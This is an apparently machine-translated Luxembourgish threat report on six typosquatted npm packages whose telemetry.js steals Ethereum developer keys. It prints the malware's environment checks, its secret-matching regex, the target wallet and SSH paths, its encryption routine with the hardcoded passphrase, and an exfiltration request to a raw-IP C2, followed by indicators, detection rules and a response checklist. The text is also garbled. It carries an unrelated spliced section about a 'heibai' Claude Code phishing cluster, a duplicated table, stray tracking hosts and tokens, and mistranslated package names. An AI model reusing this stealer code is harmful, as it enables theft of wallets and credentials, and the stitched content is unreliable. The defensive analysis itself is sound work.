EVMDeFi npm Typosquatting Attack klaut Entwéckler Schlësselen

EVM/DeFi npm Typosquatting Attack klaut Entwéckler Schlësselen

TL; DR

De 6. Mee 2026, een eenzegen npm Verlag, namikazesarada010206, huet sechs béiswëlleg Pakete publizéiert, déi op den Ethereum-, Solidity- an DeFi-Entwéckler-Ökosystem gezielt waren.

D'Päckchen, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, an web3-utils-core, huet plausibel Nimm benotzt, déi sou entworf goufen, datt se wéi Hëllefsbibliothéike fir populär Web3-Tooling ausgesinn.

All sechs Päckchen enthalen datselwecht telemetry.js Datei. D'Datei war am ganze Cluster byte-identesch, mat SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

D'Malware leeft net bei der Installatioun aus. Et gëtt keen preinstall or postinstall Hook. Amplaz gëtt en aktivéiert wann de Pak importéiert gëtt duerch require().

Dee Detail ass wichteg.

Den Implant waart bis en Entwéckler de Pak tatsächlech benotzt. Dann iwwerpréift en ob d'Workstation ausgesäit wéi eng richteg Ethereum / Solidity Entwécklungsëmfeld. En sicht no Alchemy- oder Infura-Schlësselen, privaten Schlësselen, Mnemonics, Deployer-Schlësselen oder engem lokalen Foundry-Verzeichnis.

Wann den Host iwwereneestëmmt, sammelt de Stealer SSH privat Schlësselen, Foundry / Geth / Brownie Portemonnaie Schlësselspeicher, .env* Dateien a sensibel Ëmweltvariablen. Et verschlësselt de Bundle mat AES-256-GCM mat engem fest kodéierte Passwuert an exfiltréiert en op en raw IPv4 C2 Endpoint mat deaktivéierter TLS-Verifizéierung.

De Malware Early Warning (MEW) System vun Xygeni huet all sechs Pakete als béiswëlleg bestätegt. De npm Registry Takedown Report Bundle ass amgaang.

De Cluster: Sechs Paketen, een Editeur

De Kont vum Verlag namikazesarada010206 gouf mat der net verifizéierter Gmail Adress verlinkt namikazesarada010206@gmail.com.

D'Campagne ass als eendeeglech Publikatiounsexplosioun de 6. Mee 2026 erschéngen. All sechs Pakete goufen als ... versiounéiert. 1.0.0, hat null Runtime-Ofhängegkeeten, an huet nëmmen dräi Dateien verschéckt:

package.json index.js telemetry.js

Si hunn och dee selwechte Quellrepository deklaréiert:

https://github.com/harunosakura030303-maker/evmchain-config

Déi éischt dräi Pakete goufen duerch MEW-Scanner bei der éischter Verëffentlechung erwëscht. Déi reschtlech dräi goufen erzwongen markéiert nodeems d'Analysten den npm-Profil vum Editeur iwwerpréift hunn. Eemol dee selwechte byte-identesche telemetry.js am ganze Cluster bestätegt gouf, goufe se wéinst Konsistenz als béiswëlleg zougemaach.

Pak Versioun npm Verëffentlecht MEW-Ticket Alad
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Béiswëlleg
viem-utils-core 1.0.0 2026-05-06 #51050 Béiswëlleg
Hardhat-Core-Utils 1.0.0 2026-05-06 #51051 Béiswëlleg
evm-utils 1.0.0 2026-05-06 #51069 Béiswëlleg, duerch Konsequenz
Gießerei-Utilitéiten 1.0.0 2026-05-06 #51071 Béiswëlleg, duerch Konsequenz
web3-utils-core 1.0.0 2026-05-06 #51070 Béiswëlleg, duerch Konsequenz

D'Benennungsstrategie ass einfach awer effektiv.

Dës Pakete imitéieren net exakt Upstream-Nimm. Amplaz benotze se plausibel "Utility"-Suffixen wéi z.B. -core, -utils, an -utils-coreDat léisst se ausgesinn wéi Begleetbibliothéiken, déi en Entwéckler no bei Web3-Tooling erwaarte kéint.

Béiswëlleg Pak Legitim Zil
viem-core viem, e populäre Ethereum TypeScript Client
viem-utils-core viem
Hardhat-Core-Utils hardhat, eng Mainstream Solidity Entwécklungsumgebung
evm-utils Genereschen EVM-Tooling-Namespace
Gießerei-Utilitéiten Gießerei, eng Solidity-Toolkette
web3-utils-core web3-utils, Web3.js Hëllefer

Dëst ass de Muster vum "Zousätzleche Pak": net "Ech sinn dat richtegt Pak", mee "Ech gesinn aus wéi e vernünftege Helfer ronderëm dat richtegt Pak".

Fir DeFi-Entwéckler, déi sech séier beweegen, ass dat genuch fir e Risiko ze schafen.

Wat geschitt wann de Pak importéiert gëtt

D'Attackkette ass kleng, bewosst a konzentréiert sech op Krypto-Entwécklungsëmfeld.

Et gëtt keen Installatiounshaken. Amplaz enthält all Package en index.js déi Stub-Funktionalitéit exportéiert an dann de béiswëllege Telemetriemodul lued.

require('./telemetry').init();

Dëst bedeit datt d'Malware beim éischten Import aktivéiert gëtt.

Dat ass operationell nëtzlech fir den Ugräifer. Vill Scanner a Sandboxen konzentréiere sech op d'Verhale wärend der Installatioun. Dëse Pak waart bis en tatsächlech vun engem Entwéckler, engem Buildskript, enger Testsuite oder engem Runtime-Pfad benotzt gëtt.

Aktivéierungsgate: Nëmmen op richtege Web3 Entwéckler Aarbechtsstatiounen aktivéieren

Dee wichtegsten Deel vum Implantat ass den Aktivéierungsgate.

D'Malware kontrolléiert no Ëmweltvariablen, déi dacks op Ethereum / Solidity Entwécklermaschinne fonnt ginn:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Et kontrolléiert och ob Foundry installéiert schéngt ze sinn:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Wann keng vun de Konditioune wouer ass, gëtt d'Funktioun zréck an mécht näischt.

Dat mécht de Pak méi roueg a genereschen Analyseëmfeld. Eng Sandbox ouni Foundry, Alchemy-Schlësselen, Infura-Schlësselen, privat Schlësselen oder Mnemonik kéint en harmlos ausgesinnenden Import gesinn.

Op engem passenden Host waart d'Malware 60 bis 90 Sekonnen ier se gesammelt gëtt:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

D'Verspéidung reduzéiert déi offensichtlech Korrelatioun tëscht Import an Exfiltratioun. .unref() `call` léisst den Hostprozess och normal ofschléissen, wann de Pak an engem kuerzliewege Skript importéiert gouf.

Dëst ass kee lauter "Smash-and-Grab"-Verhalen. Et ass e gezielte "Stealer"-Verhalen, deen entwéckelt gouf fir ze vermeiden datt et leeft, ausser d'Entwécklerëmfeld ass et wäert, aus deem ze klauen.

Wat de Klauen sammelt

Soubal den Aktivéierungsgate passéiert ass, sammelt sech d'Malware aus Quellen, déi an der Web3-Entwécklung am wichtegsten sinn: privat Schlësselen, Portemonnaie-Schlësselspeicher, Deployment-Umeldungsinformatiounen, Cloud-Geheimnisser, npm-Tokens a lokal Projetkonfiguratioun.

Source Wat gëtt gesammelt
process.env All Variabel déi mat /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i iwwereneestëmmt
~/.ssh/* Dateien déi PRIVATE KEY oder BEGIN OPENSSH enthalen, inklusiv dem komplette Dateiinhalt
~/.foundry/Schlësselgeschäfter/* Foundry Portemonnaie Schlësselspäicherdateien
~/.ethereum/Schlësselgeschäft/* Geth Portemonnaie Schlësselspäicherdateien
~/.brownie/Konten/* Brownie Portemonnaie Schlësselspäicherdateien
${cwd}/.env De komplette Fichierinhalt
${cwd}/.env.local De komplette Fichierinhalt
${cwd}/.env.production De komplette Fichierinhalt
${cwd}/.env.entwécklung De komplette Fichierinhalt
os.hostname() Host-Metadaten
crypto.randomUUID() Affer-/Sessiounsidentifizéierer
Date.now() Zäitstempel vun der Kollektioun
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

D'ATTA-Token sinn:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Mir konnten net bestätegen, ob d'Telemetrie aus den eegenen Analysen vum Bedreiwer oder aus engem separat monetariséierte Kanal bestoung. D'ATTA-Tokens sinn an deenen zwou Beispiller, déi mir ënnersicht hunn, déiselwecht.

Cluster B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack

D'Stichprobe vum 1. Abrëll ass den méi rauen, fréieren Aarm vun der Kampagne.

heibai:2.1.88-claude.hk-4 gouf verëffentlecht vum wuguoqiangvip28, e Kont deen de 7. Juni 2025 erstallt gouf. De Pak huet sech explizit géint déi legitim Versioun geännert. 2.1.88 Anthropesch Verëffentlechung.

Et stéiert sech net mam CA-cert MITM. Amplaz léit et dem Benotzer iwwer den OAuth Endpoint.

Déi béiswëlleg Ergänzunge vun der geleakter Claude Code Quell sinn ënner anerem:

Source Wat gëtt gesammelt
process.env All Variabel déi mat /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i iwwereneestëmmt
~/.ssh/* Dateien déi PRIVATE KEY oder BEGIN OPENSSH enthalen, inklusiv dem komplette Dateiinhalt
~/.foundry/Schlësselgeschäfter/* Foundry Portemonnaie Schlësselspäicherdateien
~/.ethereum/Schlësselgeschäft/* Geth Portemonnaie Schlësselspäicherdateien
~/.brownie/Konten/* Brownie Portemonnaie Schlësselspäicherdateien
${cwd}/.env De komplette Fichierinhalt
${cwd}/.env.local De komplette Fichierinhalt
${cwd}/.env.production De komplette Fichierinhalt
${cwd}/.env.entwécklung De komplette Fichierinhalt
os.hostname() Host-Metadaten
crypto.randomUUID() Affer-/Sessiounsidentifizéierer
Date.now() Zäitstempel vun der Kollektioun

D'Zillëscht ass ganz spezifesch. Dëst ass kee generesche Browser-Déifstall oder breede Kreditkaart-Scraping. Et ass op Entwéckler geriicht, déi Ethereum-Applikatioune bauen, testen, implementéieren oder bedreiwen.

D'Integratioun vu Foundry-, Geth- a Brownie-Keystores ass besonnesch wichteg. Dës Dateie kënnen direkten Zougang zu Portemonnaien oder Deployment-Identitéiten duerstellen. Wann den Ugräifer se mat Passwierder, Mnemoniken oder Ëmfeldgeheimnisser koppele kann, kënne si eventuell Sue réckelen, sech als Deployeuren ausginn oder Smart Contract-Operatiounen kompromittéieren.

Verschlësselung virun Exfiltratioun

D'Malware verschlësselt déi gesammelt Donnéeën ier se verschéckt ginn.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Déi fest kodéiert Passwuertphrase ass:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Déi lescht Notzlaascht gëtt als JSON agewéckelt:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Verschlësselung mécht d'Malware net eleng méi fortgeschratt. Si mécht d'Netzwierkinspektioun awer méi schwéier. En Defender, deen den Ausgang observéiert, géif eng JSON-Payload gesinn, awer net déi geklaut Schlësselen, Portemonnaie-Dateien oder ... .env Inhalt ouni dat fest kodéiert Passwuert an d'Entschlësselungslogik.

Exfiltratioun op eng rau IPv4 C2

De Wee vun der Exfiltratioun ass fest kodéiert:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

De Malware schéckt Daten un:

https://76.13.37.80:8443/api/v1/telemetry

Zwee Detailer falen eraus.

Éischtens ass den C2 eng rau IPv4-Adress anstatt eng Domain. Doduerch ass d'Noutwennegkeet vun enger Domainregistréierung ewechgeholl an et gi verschidde Domain-baséiert Detektiounen vermeit.

Zweetens, TLS-Verifizéierung ass deaktivéiert mat:

rejectUnauthorized: false

Doduerch kann der Malware all Zertifikat akzeptéieren, och selbstsignéiert Zertifikater. An anere Wierder, den Ugräifer kritt verschlësselten Transport ouni e gültegt ëffentlecht Zertifikat ze brauchen.

Et gëtt keng Widderhuelungslogik a kee Fallback-Host. Feeler ginn am Stillstand verschléckt. Dëst hält de Pak roueg wann de C2 offline oder net erreechbar ass.

Firwat Dës Campagne wichteg ass

Déi meescht béiswëlleg NPM-Pakete, déi un Entwéckler geriicht sinn, verfollegen breet Umeldungsinformatiounen: NPM-Tokens, AWS-Schlësselen, GitHub-Tokens oder ... .npmrc Fichieren.

Dës Kampagne verklengert d'Zil.

Et sicht no Zeeche vun engem Ethereum- oder Solidity-Entwéckler. Dann zitt et genau déi Verméigen eraus, déi an deem Ëmfeld wichteg sinn: Portemonnaie-Schlësselen, privat Schlësselen, Mnemoniken, Deployer-Schlësselen, .env Dateien an SSH-Schlësselen.

Dat mécht d'Kampagne méi geféierlech fir Web3-Teams wéi e generesche NPM-Klauer.

Eng erfollegräich Infektioun kéint folgendes opdecken:

  • Deployment Portemonnaien
  • Smart Contract Admin Schlësselen
  • RPC Provider Schlësselen
  • Umeldungsdaten fir Cloud-Deployment
  • npm Publikatiounstoken
  • SSH-Zougang zu Entwéckler- oder Build-Infrastruktur
  • Projetgeheimnisser gespäichert an .env Fichieren
  • Portemonnaie Schlësselgeschäfter fir Foundry, Geth oder Brownie

D'Packagennimm weisen och kloer sozial Ingenieurswiesen. Si viséieren den Web3-Entwéckler-Ökosystem duerch bekannt Toolnimm: viem, hardhat, foundry, evm, an web3.

Den Akteur muss keng Kompromësser bei de richtege Projeten agoen. Hie brauch nëmmen en Entwéckler, deen eppes installéiert, wat no engem vernünftege Begleetpaket ausgesäit.

Indikatoren fir Kompromësser an Detektioun

Paketen a Verlag
Beräich Wäert
npm-Verlag namikazesarada010206
E-Mail vum Editeur namikazesarada010206@gmail.com
E-Mail verifizéiert Nee
SCM verifizéiert ginn Nee
Reputatiouns-Score 1.0
Formulen viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
Versiounen All 1.0.0
Quell-Repository https://github.com/harunosakura030303-maker/evmchain-config
Bestätegt als béiswëlleg All sechs Paketen
Network
Type Wäert
C2 Endpunkt https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 Hafen 8443/tcp
TLS-Verhalen refuséierenOnautoriséiert: falsch
Notzlaaschtschema {"v":2,"iv": "d": "t": }
Dateien an Hashes
Type Wäert
telemetrie.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Package-Layout package.json, index.js, telemetrie.js
Zuel vun de Fichieren 3
Ongeféier Gesamtgréisst 3.4 kB

Aktivéierungssignaler

D'Malware kontrolléiert op dës Ëmweltvariablen:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Et kontrolléiert och op:

~/.foundry/

Gezielte Hostweeër

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Kollektiounsregex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Detektiounsnotizen

Verschidde Reegele fänken dës Kampagne ouni eng komplett Verhalensanalyse op.

Als éischt, scannt d'Lockdateien no de sechs béiswëllege Paketnimm:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

All Match an package-lock.json, yarn.lock, pnpm-lock.yaml, oder node_modules D'Geschicht soll als eescht Evenement behandelt ginn.

Zweetens, iwwerwaacht d'Liesung vu Portemonnaie-Keystore-Weeër op Node.js-Prozesser:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Dëst ass selten e legitimt Verhalen fir e Pak, deen als Hëllefsofhängegkeet importéiert gëtt. Et ass besonnesch verdächteg, wann et vun ausgehender Netzwierkaktivitéit gefollegt gëtt.

Drëttens, blockéiert oder alarméiert HTTPS-Verbindungen op:

76.13.37.80:8443

Besonnesch wann de Wee vun der Ufro ass:

/api/v1/telemetry

Véiertens, sicht no npm-Paketen, déi dës Eegeschafte kombinéieren:

  • Neien oder schlecht bekannten Editeur
  • Net verifizéierte Gmail Kont
  • Web3-ugrenzenden Paknumm
  • Keng sënnvoll Repository-Verlaf
  • Layout vum klenge Pak
  • index.js déi eng Telemetrie- oder Hëllefsdatei lued
  • Keng Lafzäitofhängegkeeten
  • Sammlung vu sensiblen Ëmweltvariablen
  • Zougang zu Portemonnaie-Schlësselspäicher

Dëst Muster ass méi nëtzlech wéi een eenzegen IOC, well dat nächst Pak d'IP Adress ännere kann, awer déiselwecht Targeting-Logik behält.

Checklëscht fir Kompromëssreaktiounen

Wann en Entwéckler ee vun de sechs Paketen benotzt huet an seng Ëmfeld mam Aktivéierungsgate iwwereneestëmmt, soll d'Workstation als kompromittéiert behandelt ginn.

Dat schléisst Maschinnen mat installéiertem Foundry an, Alchemy- oder Infura-Schlësselen an der Ëmwelt, privat Schlësselen, Mnemonics oder Deployer-Schlësselen an.

Recommandéiert Äntwert:

  • Trennt den Host vum Netz of.
  • Erhaalen node_modules, Lockfiles, Shell-Verlaf a relevant Logbicher fir d'Forensik.
  • Dréit all SSH-Tastepaar ënner ~/.ssh/.
  • Dréit d'Portemonnaie-Schlësselen fir all Schlësselgeschäft drënner ~/.foundry, ~/.ethereum, an ~/.brownie.
  • Fongen op frësch Portemonnaien transferéieren.
  • Rotéiert all Geheimnis, dat an .env* Dateien an de Repositories, an deenen den Entwéckler geschafft huet.
  • Rotéiert Ëmfeldgeheimnisser, déi dem Regex vun der Kollektioun entspriechen, dorënner AWS-Schlësselen, npm-Tokens, Deploy-Tokens, API-Schlësselen, privat Schlësselen, Seeds a Mnemonics.
  • Audit Cloud-, NPM-, GitHub-, RPC-Provider- a Blockchain-Aktivitéit zënter der éischter Installatioun vum Pak.
  • Erstellt en neien Image vun der Aarbechtsstatioun ier Dir se nei benotzt.

Wat d'Verdeedeger mat sech huelen sollen

Dës Kampagne weist, wéi sech npm-Typosquatting ronderëm héichwäerteg Entwéckler-Ökosystemer entwéckelt.

Den Acteur huet keng Persistenz gebraucht. Si hunn keng Verschleierung gebraucht. Si hunn net emol eng Ausféierung zur Installatioun gebraucht.

Amplaz hunn si sech op dräi Saachen verlooss:

  • Plausibel Web3-Packagenimm
  • Aktivéierung nëmmen op richtege Krypto-Entwécklungsmaschinnen
  • Direkten Déifstall vun de Dateien a Geheimnisser, déi fir Ethereum Entwéckler am wichtegsten sinn

Dat mécht d'Campagne einfach ze verpassen am breede Scan a geféierlech wann se an der richteger Ëmwelt lant.

Fir Web3-Teams ass d'Lektioun kloer: behandelt Ofhängegkeetsnimm als Deel vun Ärem Bedrohungsmodell. E Pak, deen ausgesäit wéi en harmlosen Hëllefer, kann ëmmer nach de kierzte Wee fir e Portemonnaie-Kompromitt sinn.

Un d'npm-Registrierung gemellt. Mir aktualiséieren dëse Beitrag, wann de Publisher-Kont an d'Packagen ewechgeholl ginn.

sca-tools-software-zesummesetzungsanalyse-tools
Prioritäriséiert, behënnert a séchert Är Softwarerisiken
Kritt Äre gratis Kont.
Kee Kreditkaart erfuerderlech.

Séchert Är Softwareentwécklung a Liwwerung

mat der Xygeni Produkt Suite